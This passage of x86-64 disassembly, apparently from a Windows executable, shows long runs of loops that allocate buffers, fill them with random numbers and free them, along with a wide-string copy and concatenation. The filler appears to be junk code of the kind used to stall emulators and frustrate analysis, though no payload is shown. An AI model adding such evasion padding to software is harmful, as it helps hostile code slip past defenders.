movsxd rcx, dword [rsp + 0xcc544]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x3495
cdq
idiv ecx
add edx, dword [rsp + 0xcc558]
mov dword [rsp + 0xcc558], edx
mov eax, dword [rsp + 0xcc544]
add eax, 1
mov dword [rsp + 0xcc544], eax
jmp 0x14000d281
mov rax, qword [rsp + 0xcc548]
mov qword [rsp + 0x36b8], rax
cmp rax, 0
je 0x14000d30a
mov rcx, qword [rsp + 0x36b8]
call sym.operator_delete_void_
jmp 0x14000d30f
mov eax, dword [rsp + 0xcc554]
add eax, 1
mov dword [rsp + 0xcc554], eax
jmp 0x14000d253
lea rdx, [rsp + 0xccbd0]
lea rcx, [rsp + 0xcc5d0]
call sym.int_wcscpy_s_260ull__wchar_t_____260ull___wchar_t_const_
mov dword [rsp + 0xcc540], 0x5fa9
mov dword [rsp + 0xcc53c], 0
cmp dword [rsp + 0xcc53c], 0x45b
jge 0x14000d422
mov ecx, 0xea2c
call sym.operator_new___unsigned_long_long_
mov qword [rsp + 0xcc530], rax
mov dword [rsp + 0xcc52c], 0
cmp dword [rsp + 0xcc52c], 0x9b
jge 0x14000d3e0
call sub.msvcrt.dll_rand
mov ecx, 0x2f59
cdq
idiv ecx
mov rax, qword [rsp + 0xcc530]
movsxd rcx, dword [rsp + 0xcc52c]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x1444
cdq
idiv ecx
add edx, dword [rsp + 0xcc540]
mov dword [rsp + 0xcc540], edx
mov eax, dword [rsp + 0xcc52c]
add eax, 1
mov dword [rsp + 0xcc52c], eax
jmp 0x14000d37e
mov rax, qword [rsp + 0xcc530]
mov qword [rsp + 0x36b0], rax
cmp rax, 0
je 0x14000d407
mov rcx, qword [rsp + 0x36b0]
call sym.operator_delete_void_
jmp 0x14000d40c
mov eax, dword [rsp + 0xcc53c]
add eax, 1
mov dword [rsp + 0xcc53c], eax
jmp 0x14000d350
mov dword [rsp + 0xcc528], 0x29ef
mov dword [rsp + 0xcc524], 0
cmp dword [rsp + 0xcc524], 0x481
jge 0x14000d50a
mov ecx, 0x139f8
call sym.operator_new___unsigned_long_long_
mov qword [rsp + 0xcc518], rax
mov dword [rsp + 0xcc514], 0
cmp dword [rsp + 0xcc514], 0x16f
jge 0x14000d4c8
call sub.msvcrt.dll_rand
mov ecx, 0x15ad
cdq
idiv ecx
mov rax, qword [rsp + 0xcc518]
movsxd rcx, dword [rsp + 0xcc514]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x2710
cdq
idiv ecx
add edx, dword [rsp + 0xcc528]
mov dword [rsp + 0xcc528], edx
mov eax, dword [rsp + 0xcc514]
add eax, 1
mov dword [rsp + 0xcc514], eax
jmp 0x14000d466
mov rax, qword [rsp + 0xcc518]
mov qword [rsp + 0x36a8], rax
cmp rax, 0
je 0x14000d4ef
mov rcx, qword [rsp + 0x36a8]
call sym.operator_delete_void_
jmp 0x14000d4f4
mov eax, dword [rsp + 0xcc524]
add eax, 1
mov dword [rsp + 0xcc524], eax
jmp 0x14000d438
mov dword [rsp + 0xcc510], 0x53f8
mov dword [rsp + 0xcc50c], 0
cmp dword [rsp + 0xcc50c], 0x546
jge 0x14000d5f2
mov ecx, 0xf0e4
call sym.operator_new___unsigned_long_long_
mov qword [rsp + 0xcc500], rax
mov dword [rsp + 0xcc4fc], 0
cmp dword [rsp + 0xcc4fc], 0x159
jge 0x14000d5b0
call sub.msvcrt.dll_rand
mov ecx, 0x1dd1
cdq
idiv ecx
mov rax, qword [rsp + 0xcc500]
movsxd rcx, dword [rsp + 0xcc4fc]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x2af2
cdq
idiv ecx
add edx, dword [rsp + 0xcc510]
mov dword [rsp + 0xcc510], edx
mov eax, dword [rsp + 0xcc4fc]
add eax, 1
mov dword [rsp + 0xcc4fc], eax
jmp 0x14000d54e
mov rax, qword [rsp + 0xcc500]
mov qword [rsp + 0x36a0], rax
cmp rax, 0
je 0x14000d5d7
mov rcx, qword [rsp + 0x36a0]
call sym.operator_delete_void_
jmp 0x14000d5dc
mov eax, dword [rsp + 0xcc50c]
add eax, 1
mov dword [rsp + 0xcc50c], eax
jmp 0x14000d520
mov dword [rsp + 0xcc4f8], 0x49d6
mov dword [rsp + 0xcc4f4], 0
cmp dword [rsp + 0xcc4f4], 0x789
jge 0x14000d6da
mov ecx, 0x1abcc
call sym.operator_new___unsigned_long_long_
mov qword [rsp + 0xcc4e8], rax
mov dword [rsp + 0xcc4e4], 0
cmp dword [rsp + 0xcc4e4], 0xe5
jge 0x14000d698
call sub.msvcrt.dll_rand
mov ecx, 0x1ba8
cdq
idiv ecx
mov rax, qword [rsp + 0xcc4e8]
movsxd rcx, dword [rsp + 0xcc4e4]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x368e
cdq
idiv ecx
add edx, dword [rsp + 0xcc4f8]
mov dword [rsp + 0xcc4f8], edx
mov eax, dword [rsp + 0xcc4e4]
add eax, 1
mov dword [rsp + 0xcc4e4], eax
jmp 0x14000d636
mov rax, qword [rsp + 0xcc4e8]
mov qword [rsp + 0x3698], rax
cmp rax, 0
je 0x14000d6bf
mov rcx, qword [rsp + 0x3698]
call sym.operator_delete_void_
jmp 0x14000d6c4
mov eax, dword [rsp + 0xcc4f4]
add eax, 1
mov dword [rsp + 0xcc4f4], eax
jmp 0x14000d608
mov dword [rsp + 0xcc4e0], 0x13fc
mov dword [rsp + 0xcc4dc], 0
cmp dword [rsp + 0xcc4dc], 0x6fc
jge 0x14000d7c2
mov ecx, 0x1ddfc
call sym.operator_new___unsigned_long_long_
mov qword [rsp + 0xcc4d0], rax
mov dword [rsp + 0xcc4cc], 0
cmp dword [rsp + 0xcc4cc], 0x12b
jge 0x14000d780
call sub.msvcrt.dll_rand
mov ecx, 0x30a3
cdq
idiv ecx
mov rax, qword [rsp + 0xcc4d0]
movsxd rcx, dword [rsp + 0xcc4cc]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x2a22
cdq
idiv ecx
add edx, dword [rsp + 0xcc4e0]
mov dword [rsp + 0xcc4e0], edx
mov eax, dword [rsp + 0xcc4cc]
add eax, 1
mov dword [rsp + 0xcc4cc], eax
jmp 0x14000d71e
mov rax, qword [rsp + 0xcc4d0]
mov qword [rsp + 0x3690], rax
cmp rax, 0
je 0x14000d7a7
mov rcx, qword [rsp + 0x3690]
call sym.operator_delete_void_
jmp 0x14000d7ac
mov eax, dword [rsp + 0xcc4dc]
add eax, 1
mov dword [rsp + 0xcc4dc], eax
jmp 0x14000d6f0
mov dword [rsp + 0xcc4c8], 0x646f
mov dword [rsp + 0xcc4c4], 0
cmp dword [rsp + 0xcc4c4], 0x600
jge 0x14000d8aa
mov ecx, 0x17800
call sym.operator_new___unsigned_long_long_
mov qword [rsp + 0xcc4b8], rax
mov dword [rsp + 0xcc4b4], 0
cmp dword [rsp + 0xcc4b4], 0xed
jge 0x14000d868
call sub.msvcrt.dll_rand
mov ecx, 0x1b4f
cdq
idiv ecx
mov rax, qword [rsp + 0xcc4b8]
movsxd rcx, dword [rsp + 0xcc4b4]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x25a7
cdq
idiv ecx
add edx, dword [rsp + 0xcc4c8]
mov dword [rsp + 0xcc4c8], edx
mov eax, dword [rsp + 0xcc4b4]
add eax, 1
mov dword [rsp + 0xcc4b4], eax
jmp 0x14000d806
mov rax, qword [rsp + 0xcc4b8]
mov qword [rsp + 0x3688], rax
cmp rax, 0
je 0x14000d88f
mov rcx, qword [rsp + 0x3688]
call sym.operator_delete_void_
jmp 0x14000d894
mov eax, dword [rsp + 0xcc4c4]
add eax, 1
mov dword [rsp + 0xcc4c4], eax
jmp 0x14000d7d8
movss xmm0, dword [0x1400ec8d4]
movss dword [rsp + 0xcc4b0], xmm0
movss xmm0, dword [0x1400ec8d0]
movss dword [rsp + 0xcc4b0], xmm0
movss xmm0, dword [rsp + 0xcc4b0]
cvtss2sd xmm0, xmm0
movsd xmm1, qword [0x1400ec8c8]
ucomisd xmm0, xmm1
jne 0x14000da08
jp 0x14000da08
mov dword [rsp + 0xcc4ac], 0
cmp dword [rsp + 0xcc4ac], 0x159e
jge 0x14000d9e6
mov ecx, 0x22a7c
call sym.operator_new___unsigned_long_long_
mov qword [rsp + 0xcc4a0], rax
mov dword [rsp + 0xcc49c], 0
cmp dword [rsp + 0xcc49c], 0x2f2
jge 0x14000d9a4
call sub.msvcrt.dll_rand
mov ecx, 0x2403
cdq
idiv ecx
mov rax, qword [rsp + 0xcc4a0]
movsxd rcx, dword [rsp + 0xcc49c]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
cvtsi2sd xmm1, eax
movsd xmm0, qword [0x1400ee360]
subsd xmm1, xmm0
movss xmm0, dword [rsp + 0xcc4b0]
cvtss2sd xmm0, xmm0
addsd xmm0, xmm1
cvtsd2ss xmm0, xmm0
movss dword [rsp + 0xcc4b0], xmm0
mov eax, dword [rsp + 0xcc49c]
add eax, 1
mov dword [rsp + 0xcc49c], eax
jmp 0x14000d92a
mov rax, qword [rsp + 0xcc4a0]
mov qword [rsp + 0x3680], rax
cmp rax, 0
je 0x14000d9cb
mov rcx, qword [rsp + 0x3680]
call sym.operator_delete_void_
jmp 0x14000d9d0
mov eax, dword [rsp + 0xcc4ac]
add eax, 1
mov dword [rsp + 0xcc4ac], eax
jmp 0x14000d8fc
movss xmm0, dword [0x1400ec8dc]
movss dword [rsp + 0xcc4b0], xmm0
movss xmm0, dword [0x1400ec8d8]
movss dword [rsp + 0xcc4b0], xmm0
mov dword [rsp + 0xcc498], 0x545c
mov dword [rsp + 0xcc494], 0
cmp dword [rsp + 0xcc494], 0x540
jge 0x14000daf0
mov ecx, 0xa290
call sym.operator_new___unsigned_long_long_
mov qword [rsp + 0xcc488], rax
mov dword [rsp + 0xcc484], 0
cmp dword [rsp + 0xcc484], 0x160
jge 0x14000daae
call sub.msvcrt.dll_rand
mov ecx, 0x31fc
cdq
idiv ecx
mov rax, qword [rsp + 0xcc488]
movsxd rcx, dword [rsp + 0xcc484]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x3379
cdq
idiv ecx
add edx, dword [rsp + 0xcc498]
mov dword [rsp + 0xcc498], edx
mov eax, dword [rsp + 0xcc484]
add eax, 1
mov dword [rsp + 0xcc484], eax
jmp 0x14000da4c
mov rax, qword [rsp + 0xcc488]
mov qword [rsp + 0x3678], rax
cmp rax, 0
je 0x14000dad5
mov rcx, qword [rsp + 0x3678]
call sym.operator_delete_void_
jmp 0x14000dada
mov eax, dword [rsp + 0xcc494]
add eax, 1
mov dword [rsp + 0xcc494], eax
jmp 0x14000da1e
mov dword [rsp + 0xcc480], 0x2adf
mov dword [rsp + 0xcc47c], 0
cmp dword [rsp + 0xcc47c], 0x7a7
jge 0x14000dbd8
mov ecx, 0x12f94
call sym.operator_new___unsigned_long_long_
mov qword [rsp + 0xcc470], rax
mov dword [rsp + 0xcc46c], 0
cmp dword [rsp + 0xcc46c], 0xad
jge 0x14000db96
call sub.msvcrt.dll_rand
mov ecx, 0x1556
cdq
idiv ecx
mov rax, qword [rsp + 0xcc470]
movsxd rcx, dword [rsp + 0xcc46c]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x1b6e
cdq
idiv ecx
add edx, dword [rsp + 0xcc480]
mov dword [rsp + 0xcc480], edx
mov eax, dword [rsp + 0xcc46c]
add eax, 1
mov dword [rsp + 0xcc46c], eax
jmp 0x14000db34
mov rax, qword [rsp + 0xcc470]
mov qword [rsp + 0x3670], rax
cmp rax, 0
je 0x14000dbbd
mov rcx, qword [rsp + 0x3670]
call sym.operator_delete_void_
jmp 0x14000dbc2
mov eax, dword [rsp + 0xcc47c]
add eax, 1
mov dword [rsp + 0xcc47c], eax
jmp 0x14000db06
mov dword [rsp + 0xcc468], 0x62d4
mov dword [rsp + 0xcc464], 0
cmp dword [rsp + 0xcc464], 0x623
jge 0x14000dcc0
mov ecx, 0xd4dc
call sym.operator_new___unsigned_long_long_
mov qword [rsp + 0xcc458], rax
mov dword [rsp + 0xcc454], 0
cmp dword [rsp + 0xcc454], 0x1f3
jge 0x14000dc7e
call sub.msvcrt.dll_rand
mov ecx, 0x3804
cdq
idiv ecx
mov rax, qword [rsp + 0xcc458]
movsxd rcx, dword [rsp + 0xcc454]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x1747
cdq
idiv ecx
add edx, dword [rsp + 0xcc468]
mov dword [rsp + 0xcc468], edx
mov eax, dword [rsp + 0xcc454]
add eax, 1
mov dword [rsp + 0xcc454], eax
jmp 0x14000dc1c
mov rax, qword [rsp + 0xcc458]
mov qword [rsp + 0x3668], rax
cmp rax, 0
je 0x14000dca5
mov rcx, qword [rsp + 0x3668]
call sym.operator_delete_void_
jmp 0x14000dcaa
mov eax, dword [rsp + 0xcc464]
add eax, 1
mov dword [rsp + 0xcc464], eax
jmp 0x14000dbee
mov dword [rsp + 0xcc450], 0x271b
mov dword [rsp + 0xcc44c], 0
cmp dword [rsp + 0xcc44c], 0x429
jge 0x14000dda8
mov ecx, 0xb984
call sym.operator_new___unsigned_long_long_
mov qword [rsp + 0xcc440], rax
mov dword [rsp + 0xcc43c], 0
cmp dword [rsp + 0xcc43c], 0x1ba
jge 0x14000dd66
call sub.msvcrt.dll_rand
mov ecx, 0x3948
cdq
idiv ecx
mov rax, qword [rsp + 0xcc440]
movsxd rcx, dword [rsp + 0xcc43c]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x30eb
cdq
idiv ecx
add edx, dword [rsp + 0xcc450]
mov dword [rsp + 0xcc450], edx
mov eax, dword [rsp + 0xcc43c]
add eax, 1
mov dword [rsp + 0xcc43c], eax
jmp 0x14000dd04
mov rax, qword [rsp + 0xcc440]
mov qword [rsp + 0x3660], rax
cmp rax, 0
je 0x14000dd8d
mov rcx, qword [rsp + 0x3660]
call sym.operator_delete_void_
jmp 0x14000dd92
mov eax, dword [rsp + 0xcc44c]
add eax, 1
mov dword [rsp + 0xcc44c], eax
jmp 0x14000dcd6
mov dword [rsp + 0xcc438], 0x28d9
mov dword [rsp + 0xcc434], 0
cmp dword [rsp + 0xcc434], 0x6a6
jge 0x14000de90
mov ecx, 0x1bb38
call sym.operator_new___unsigned_long_long_
mov qword [rsp + 0xcc428], rax
mov dword [rsp + 0xcc424], 0
cmp dword [rsp + 0xcc424], 0x189
jge 0x14000de4e
call sub.msvcrt.dll_rand
mov ecx, 0x16c8
cdq
idiv ecx
mov rax, qword [rsp + 0xcc428]
movsxd rcx, dword [rsp + 0xcc424]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x3685
cdq
idiv ecx
add edx, dword [rsp + 0xcc438]
mov dword [rsp + 0xcc438], edx
mov eax, dword [rsp + 0xcc424]
add eax, 1
mov dword [rsp + 0xcc424], eax
jmp 0x14000ddec
mov rax, qword [rsp + 0xcc428]
mov qword [rsp + 0x3658], rax
cmp rax, 0
je 0x14000de75
mov rcx, qword [rsp + 0x3658]
call sym.operator_delete_void_
jmp 0x14000de7a
mov eax, dword [rsp + 0xcc434]
add eax, 1
mov dword [rsp + 0xcc434], eax
jmp 0x14000ddbe
mov dword [rsp + 0xcc420], 0x1283
mov dword [rsp + 0xcc41c], 0
cmp dword [rsp + 0xcc41c], 0x711
jge 0x14000df78
mov ecx, 0x1917c
call sym.operator_new___unsigned_long_long_
mov qword [rsp + 0xcc410], rax
mov dword [rsp + 0xcc40c], 0
cmp dword [rsp + 0xcc40c], 0x1ef
jge 0x14000df36
call sub.msvcrt.dll_rand
mov ecx, 0x2552
cdq
idiv ecx
mov rax, qword [rsp + 0xcc410]
movsxd rcx, dword [rsp + 0xcc40c]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x25e6
cdq
idiv ecx
add edx, dword [rsp + 0xcc420]
mov dword [rsp + 0xcc420], edx
mov eax, dword [rsp + 0xcc40c]
add eax, 1
mov dword [rsp + 0xcc40c], eax
jmp 0x14000ded4
mov rax, qword [rsp + 0xcc410]
mov qword [rsp + 0x3650], rax
cmp rax, 0
je 0x14000df5d
mov rcx, qword [rsp + 0x3650]
call sym.operator_delete_void_
jmp 0x14000df62
mov eax, dword [rsp + 0xcc41c]
add eax, 1
mov dword [rsp + 0xcc41c], eax
jmp 0x14000dea6
mov dword [rsp + 0xcc408], 0x162b
mov dword [rsp + 0xcc404], 0
cmp dword [rsp + 0xcc404], 0x75c
jge 0x14000e060
mov ecx, 0x17fcc
call sym.operator_new___unsigned_long_long_
mov qword [rsp + 0xcc3f8], rax
mov dword [rsp + 0xcc3f4], 0
cmp dword [rsp + 0xcc3f4], 0x1ea
jge 0x14000e01e
call sub.msvcrt.dll_rand
mov ecx, 0x1ac1
cdq
idiv ecx
mov rax, qword [rsp + 0xcc3f8]
movsxd rcx, dword [rsp + 0xcc3f4]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x1c86
cdq
idiv ecx
add edx, dword [rsp + 0xcc408]
mov dword [rsp + 0xcc408], edx
mov eax, dword [rsp + 0xcc3f4]
add eax, 1
mov dword [rsp + 0xcc3f4], eax
jmp 0x14000dfbc
mov rax, qword [rsp + 0xcc3f8]
mov qword [rsp + 0x3648], rax
cmp rax, 0
je 0x14000e045
mov rcx, qword [rsp + 0x3648]
call sym.operator_delete_void_
jmp 0x14000e04a
mov eax, dword [rsp + 0xcc404]
add eax, 1
mov dword [rsp + 0xcc404], eax
jmp 0x14000df8e
mov dword [rsp + 0xcc3f0], 0x718c
mov dword [rsp + 0xcc3ec], 0
cmp dword [rsp + 0xcc3ec], 0x670
jge 0x14000e148
mov ecx, 0x18cf4
call sym.operator_new___unsigned_long_long_
mov qword [rsp + 0xcc3e0], rax
mov dword [rsp + 0xcc3dc], 0
cmp dword [rsp + 0xcc3dc], 0x13e
jge 0x14000e106
call sub.msvcrt.dll_rand
mov ecx, 0x2755
cdq
idiv ecx
mov rax, qword [rsp + 0xcc3e0]
movsxd rcx, dword [rsp + 0xcc3dc]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x1fc4
cdq
idiv ecx
add edx, dword [rsp + 0xcc3f0]
mov dword [rsp + 0xcc3f0], edx
mov eax, dword [rsp + 0xcc3dc]
add eax, 1
mov dword [rsp + 0xcc3dc], eax
jmp 0x14000e0a4
mov rax, qword [rsp + 0xcc3e0]
mov qword [rsp + 0x3640], rax
cmp rax, 0
je 0x14000e12d
mov rcx, qword [rsp + 0x3640]
call sym.operator_delete_void_
jmp 0x14000e132
mov eax, dword [rsp + 0xcc3ec]
add eax, 1
mov dword [rsp + 0xcc3ec], eax
jmp 0x14000e076
lea rdx, [rsp + 0xcc980]
lea rcx, [rsp + 0xcc5d0]
call sym.int_wcscat_s_260ull__wchar_t_____260ull___wchar_t_const_
mov dword [rsp + 0xcc3d8], 0x2f1f
mov dword [rsp + 0xcc3d4], 0
cmp dword [rsp + 0xcc3d4], 0x6fc
jge 0x14000e245
mov ecx, 0x1e5ec
call sym.operator_new___unsigned_long_long_
mov qword [rsp + 0xcc3c8], rax
mov dword [rsp + 0xcc3c4], 0
cmp dword [rsp + 0xcc3c4], 0x1db
jge 0x14000e203
call sub.msvcrt.dll_rand
mov ecx, 0x1f43
cdq
idiv ecx
mov rax, qword [rsp + 0xcc3c8]
movsxd rcx, dword [rsp + 0xcc3c4]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x1d64
cdq
idiv ecx
add edx, dword [rsp + 0xcc3d8]
mov dword [rsp + 0xcc3d8], edx
mov eax, dword [rsp + 0xcc3c4]
add eax, 1
mov dword [rsp + 0xcc3c4], eax
jmp 0x14000e1a1
mov rax, qword [rsp + 0xcc3c8]
mov qword [rsp + 0x3638], rax
cmp rax, 0
je 0x14000e22a
mov rcx, qword [rsp + 0x3638]
call sym.operator_delete_void_
jmp 0x14000e22f
mov eax, dword [rsp + 0xcc3d4]
add eax, 1
mov dword [rsp + 0xcc3d4], eax
jmp 0x14000e173
mov dword [rsp + 0xcc3c0], 0x2fd4
mov dword [rsp + 0xcc3bc], 0
cmp dword [rsp + 0xcc3bc], 0x787
jge 0x14000e32d
mov ecx, 0x2323c
call sym.operator_new___unsigned_long_long_
mov qword [rsp + 0xcc3b0], rax
mov dword [rsp + 0xcc3ac], 0
cmp dword [rsp + 0xcc3ac], 0xfe
jge 0x14000e2eb
call sub.msvcrt.dll_rand
mov ecx, 0x33ed
cdq
idiv ecx
mov rax, qword [rsp + 0xcc3b0]
movsxd rcx, dword [rsp + 0xcc3ac]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x33c0
cdq
idiv ecx
add edx, dword [rsp + 0xcc3c0]
mov dword [rsp + 0xcc3c0], edx
mov eax, dword [rsp + 0xcc3ac]
add eax, 1
mov dword [rsp + 0xcc3ac], eax
jmp 0x14000e289
mov rax, qword [rsp + 0xcc3b0]
mov qword [rsp + 0x3630], rax
cmp rax, 0
je 0x14000e312
mov rcx, qword [rsp + 0x3630]
call sym.operator_delete_void_
jmp 0x14000e317
mov eax, dword [rsp + 0xcc3bc]
add eax, 1
mov dword [rsp + 0xcc3bc], eax
jmp 0x14000e25b
mov dword [rsp + 0xcc3a8], 0x6e56
mov dword [rsp + 0xcc3a4], 0
cmp dword [rsp + 0xcc3a4], 0x701
jge 0x14000e415
mov ecx, 0x13534
call sym.operator_new___unsigned_long_long_
mov qword [rsp + 0xcc398], rax
mov dword [rsp + 0xcc394], 0
cmp dword [rsp + 0xcc394], 0x167
jge 0x14000e3d3
call sub.msvcrt.dll_rand
mov ecx, 0x1dac
cdq
idiv ecx
mov rax, qword [rsp + 0xcc398]
movsxd rcx, dword [rsp + 0xcc394]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x14ab
cdq
idiv ecx
add edx, dword [rsp + 0xcc3a8]
mov dword [rsp + 0xcc3a8], edx
mov eax, dword [rsp + 0xcc394]
add eax, 1
mov dword [rsp + 0xcc394], eax
jmp 0x14000e371
mov rax, qword [rsp + 0xcc398]
mov qword [rsp + 0x3628], rax
cmp rax, 0
je 0x14000e3fa
mov rcx, qword [rsp + 0x3628]
call sym.operator_delete_void_
jmp 0x14000e3ff
mov eax, dword [rsp + 0xcc3a4]
add eax, 1
mov dword [rsp + 0xcc3a4], eax
jmp 0x14000e343
mov dword [rsp + 0xcc390], 0x32d3
mov dword [rsp + 0xcc38c], 0
cmp dword [rsp + 0xcc38c], 0x778
jge 0x14000e4fd
mov ecx, 0x1578c
call sym.operator_new___unsigned_long_long_
mov qword [rsp + 0xcc380], rax
mov dword [rsp + 0xcc37c], 0
cmp dword [rsp + 0xcc37c], 0x1d4
jge 0x14000e4bb
call sub.msvcrt.dll_rand
mov ecx, 0x1634
cdq
idiv ecx
mov rax, qword [rsp + 0xcc380]
movsxd rcx, dword [rsp + 0xcc37c]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x16f9
cdq
idiv ecx
add edx, dword [rsp + 0xcc390]
mov dword [rsp + 0xcc390], edx
mov eax, dword [rsp + 0xcc37c]
add eax, 1
mov dword [rsp + 0xcc37c], eax
jmp 0x14000e459
mov rax, qword [rsp + 0xcc380]
mov qword [rsp + 0x3620], rax
cmp rax, 0
je 0x14000e4e2
mov rcx, qword [rsp + 0x3620]
call sym.operator_delete_void_
jmp 0x14000e4e7
mov eax, dword [rsp + 0xcc38c]
add eax, 1
mov dword [rsp + 0xcc38c], eax
jmp 0x14000e42b
mov dword [rsp + 0xcc378], 0x20e5
mov dword [rsp + 0xcc374], 0
cmp dword [rsp + 0xcc374], 0x747
jge 0x14000e5e5
mov ecx, 0x1f958
call sym.operator_new___unsigned_long_long_
mov qword [rsp + 0xcc368], rax
mov dword [rsp + 0xcc364], 0
cmp dword [rsp + 0xcc364], 0x1a0
jge 0x14000e5a3
call sub.msvcrt.dll_rand
mov ecx, 0x38b2
cdq
idiv ecx
mov rax, qword [rsp + 0xcc368]
movsxd rcx, dword [rsp + 0xcc364]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x2071
cdq
idiv ecx
add edx, dword [rsp + 0xcc378]
mov dword [rsp + 0xcc378], edx
mov eax, dword [rsp + 0xcc364]
add eax, 1
mov dword [rsp + 0xcc364], eax
jmp 0x14000e541
mov rax, qword [rsp + 0xcc368]
mov qword [rsp + 0x3618], rax
cmp rax, 0
je 0x14000e5ca
mov rcx, qword [rsp + 0x3618]
call sym.operator_delete_void_
jmp 0x14000e5cf
mov eax, dword [rsp + 0xcc374]
add eax, 1
mov dword [rsp + 0xcc374], eax
jmp 0x14000e513
mov dword [rsp + 0xcc360], 0x5054
mov dword [rsp + 0xcc35c], 0
cmp dword [rsp + 0xcc35c], 0x486
jge 0x14000e6cd
mov ecx, 0x104c8
call sym.operator_new___unsigned_long_long_
mov qword [rsp + 0xcc350], rax
mov dword [rsp + 0xcc34c], 0
cmp dword [rsp + 0xcc34c], 0xd4
jge 0x14000e68b
call sub.msvcrt.dll_rand
mov ecx, 0x1bd6
cdq
idiv ecx
mov rax, qword [rsp + 0xcc350]
movsxd rcx, dword [rsp + 0xcc34c]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x37dd
cdq
idiv ecx
add edx, dword [rsp + 0xcc360]
mov dword [rsp + 0xcc360], edx
mov eax, dword [rsp + 0xcc34c]
add eax, 1
mov dword [rsp + 0xcc34c], eax
jmp 0x14000e629
mov rax, qword [rsp + 0xcc350]
mov qword [rsp + 0x3610], rax
cmp rax, 0
je 0x14000e6b2
mov rcx, qword [rsp + 0x3610]
call sym.operator_delete_void_
jmp 0x14000e6b7
mov eax, dword [rsp + 0xcc35c]
add eax, 1
mov dword [rsp + 0xcc35c], eax
jmp 0x14000e5fb
mov dword [rsp + 0xcc348], 0xf87
mov dword [rsp + 0xcc344], 0
cmp dword [rsp + 0xcc344], 0x706
jge 0x14000e7b5
mov ecx, 0x1b0c0
call sym.operator_new___unsigned_long_long_
mov qword [rsp + 0xcc338], rax
mov dword [rsp + 0xcc334], 0
cmp dword [rsp + 0xcc334], 0x10a
jge 0x14000e773
call sub.msvcrt.dll_rand
mov ecx, 0x3544
cdq
idiv ecx
mov rax, qword [rsp + 0xcc338]
movsxd rcx, dword [rsp + 0xcc334]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x3375
cdq
idiv ecx
add edx, dword [rsp + 0xcc348]
mov dword [rsp + 0xcc348], edx
mov eax, dword [rsp + 0xcc334]
add eax, 1
mov dword [rsp + 0xcc334], eax
jmp 0x14000e711
mov rax, qword [rsp + 0xcc338]
mov qword [rsp + 0x3608], rax
cmp rax, 0
je 0x14000e79a
mov rcx, qword [rsp + 0x3608]
call sym.operator_delete_void_
jmp 0x14000e79f
mov eax, dword [rsp + 0xcc344]
add eax, 1
mov dword [rsp + 0xcc344], eax
jmp 0x14000e6e3
mov dword [rsp + 0xcc330], 0x1477
mov dword [rsp + 0xcc32c], 0
cmp dword [rsp + 0xcc32c], 0x6a4
jge 0x14000e89d
mov ecx, 0x1f290
call sym.operator_new___unsigned_long_long_
mov qword [rsp + 0xcc320], rax
mov dword [rsp + 0xcc31c], 0
cmp dword [rsp + 0xcc31c], 0x179
jge 0x14000e85b
call sub.msvcrt.dll_rand
mov ecx, 0x222f
cdq
idiv ecx
mov rax, qword [rsp + 0xcc320]
movsxd rcx, dword [rsp + 0xcc31c]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x223c
cdq
idiv ecx
add edx, dword [rsp + 0xcc330]
mov dword [rsp + 0xcc330], edx
mov eax, dword [rsp + 0xcc31c]
add eax, 1
mov dword [rsp + 0xcc31c], eax
jmp 0x14000e7f9
mov rax, qword [rsp + 0xcc320]
mov qword [rsp + 0x3600], rax
cmp rax, 0
je 0x14000e882
mov rcx, qword [rsp + 0x3600]
call sym.operator_delete_void_
jmp 0x14000e887
mov eax, dword [rsp + 0xcc32c]
add eax, 1
mov dword [rsp + 0xcc32c], eax
jmp 0x14000e7cb
movss xmm0, dword [0x1400ec8ec]
movss dword [rsp + 0xcc318], xmm0
movss xmm0, dword [0x1400ec8e8]
movss dword [rsp + 0xcc318], xmm0
movss xmm0, dword [rsp + 0xcc318]
cvtss2sd xmm0, xmm0
movsd xmm1, qword [0x1400ec8e0]
ucomisd xmm0, xmm1
jne 0x14000e9fb
jp 0x14000e9fb
mov dword [rsp + 0xcc314], 0
cmp dword [rsp + 0xcc314], 0xd28
jge 0x14000e9d9
mov ecx, 0x1bb8c
call sym.operator_new___unsigned_long_long_
mov qword [rsp + 0xcc308], rax
mov dword [rsp + 0xcc304], 0
cmp dword [rsp + 0xcc304], 0x1d2
jge 0x14000e997
call sub.msvcrt.dll_rand
mov ecx, 0x30a7
cdq
idiv ecx
mov rax, qword [rsp + 0xcc308]
movsxd rcx, dword [rsp + 0xcc304]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
cvtsi2sd xmm1, eax
movsd xmm0, qword [0x1400ee358]
subsd xmm1, xmm0
movss xmm0, dword [rsp + 0xcc318]
cvtss2sd xmm0, xmm0
addsd xmm0, xmm1
cvtsd2ss xmm0, xmm0
movss dword [rsp + 0xcc318], xmm0
mov eax, dword [rsp + 0xcc304]
